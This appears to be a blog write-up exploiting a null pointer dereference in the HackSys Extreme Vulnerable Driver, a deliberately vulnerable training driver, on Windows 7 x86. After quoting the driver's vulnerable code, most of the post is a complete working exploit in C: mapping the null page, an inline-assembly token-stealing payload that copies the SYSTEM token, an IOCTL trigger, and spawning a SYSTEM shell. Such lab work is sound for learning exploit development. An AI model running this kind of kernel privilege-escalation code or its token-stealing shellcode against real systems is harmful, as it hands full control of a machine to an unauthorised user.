Hello, In the previous post we have exploited the HEVD Arbitrary Write on windows 7 x86. Today, I will be doing the HEVD Null Pointer Dereference vuln . The source code to the bug is here: https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/NullPointerDereference.c . There are lot of post on HEVD , I also looked on some of them h0mbre for making my exploit and learning the exploit methodology.
NOTE: Null pointer dereference was mitigated in windows 8 in both 32 bit and 64 bit machine .You can look at windows mitigation here https://github.com/nccgroup/exploit_mitigations/blob/main/windows_mitigations.md . This mitigation killed almost all the null pointer dereference exploits (maybe be possible).
Source Code Analysis
typedef struct _NULL_POINTER_DEREFERENCE
{
ULONG Value;
FunctionPointer Callback;
} NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;
//
// Get the value from user mode
//
UserValue = *(PULONG)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
//
// Validate the magic value
//
if (UserValue == MagicValue)
{
NullPointerDereference->Value = UserValue;
NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
}
else
{
DbgPrint("[+] Freeing NullPointerDereference Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
//
// Free the allocated Pool chunk
//
ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
//
// Set to NULL to avoid dangling pointer
//
NullPointerDereference = NULL;
}
#ifdef SECURE
//
// Secure Note: This is secure because the developer is checking if
// 'NullPointerDereference' is not NULL before calling the callback function
//
if (NullPointerDereference)
{
NullPointerDereference->Callback();
}
#else
DbgPrint("[+] Triggering Null Pointer Dereference\n");
//
// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
// because the developer is not validating if 'NullPointerDereference' is NULL
// before calling the callback function
//
NullPointerDereference->Callback();
Mapping NullPage
BOOL mapnullpage()
{
HMODULE hntdll;
SIZE_T RegionSize = 0x1000;
PVOID BaseAddress = (PVOID)0x1;
hntdll = GetModuleHandle(TEXT("ntdll.dll"));
if (hntdll)
{
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
if (!NtAllocateVirtualMemory) {
printf("[!] Failed to Resolve NtAllocateVirtualMemory\n");
}
BOOL ret = NtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress,
0, &RegionSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (ret) {
printf("Failed to allocate Virtual Memory \n");
}
else {
printf("[+] ALLOCATION ADDRESS: 0x%p\n", BaseAddress);
printf("[+] ALLOCATION SIZE: 0x%X\n", RegionSize);
}
FreeLibrary(hntdll);
}
else {
printf("[!] Failed to open handle to ntdll.dll\n");
}
return TRUE;
}
Final Payload
#include <Windows.h>
#include <stdio.h>
//device path
#define HEVD_PATH "\\\\.\\HackSysExtremeVulnerableDriver"
//CTL macro
#define IOCTL(function) CTL_CODE(FILE_DEVICE_UNKNOWN, function, METHOD_NEITHER, FILE_ANY_ACCESS)
//ioctl number
#define NULL_DEREF IOCTL(0x80A)
// NtAllocateVirtualMemory function typedef
typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect);
NtAllocateVirtualMemory_t NtAllocateVirtualMemory;
PVOID NullBaseAddress = NULL;
PVOID AddressToBeCalled = NULL;
// Map NULL address
BOOL mapnullpage()
{
HMODULE hntdll;
SIZE_T RegionSize = 0x1000;
PVOID BaseAddress = (PVOID)0x1;
hntdll = GetModuleHandle(TEXT("ntdll.dll"));
if (hntdll)
{
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
if (!NtAllocateVirtualMemory) {
printf("[!] Failed to Resolve NtAllocateVirtualMemory\n");
}
BOOL ret = NtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress,
0, &RegionSize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
if (ret) {
printf("Failed to allocate Virtual Memory \n");
}
else {
printf("[+] ALLOCATION ADDRESS: 0x%p\n", BaseAddress);
printf("[+] ALLOCATION SIZE: 0x%X\n", RegionSize);
}
FreeLibrary(hntdll);
}
else {
printf("[!] Failed to open handle to ntdll.dll\n");
}
return TRUE;
}
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
//Token Stealing payload
VOID TokenStealingPayload() {
__asm {
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
}
}
INT main()
{
//Any Junk value
ULONG MagicValue = 0xDEADBEEF;
//open handle to HEVD
HMODULE h = CreateFileA(HEVD_PATH,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (h == INVALID_HANDLE_VALUE) {
printf("[!] Failed to open handle to HEVD.\n");
}
else {
printf("[+] Handle Opened Successfully\n");
}
// Map Null address for shellcode
if (!mapnullpage()) {
printf("[!]Failed to map NULL Address\n");
}
else {
printf("[+] NULL Address mapped Successfully\n");
}
// Address that is going to be executed
AddressToBeCalled = (PVOID)((ULONG)NullBaseAddress + 0x4);
PVOID EopPayload = &TokenStealingPayload;
//Adding the function pointer of TokenStealingPayload
*(PULONG)AddressToBeCalled = (ULONG)EopPayload;
ULONG BytesReturned;
//Calling NULL_DEREFERENCE_IOCTL_HANDLER
BOOL ret = DeviceIoControl(h,
NULL_DEREF,
(LPVOID)&MagicValue,
(DWORD)sizeof(MagicValue)
, NULL, 0, &BytesReturned, NULL);
if (ret) {
printf("[+] IOCTL opened Successfully.\n");
}
else {
printf("[!] Failed to open IOCTL \n");
}
printf("[+] Spawning system shell.\n");
//shell
system("cmd.exe");
return EXIT_SUCCESS;
}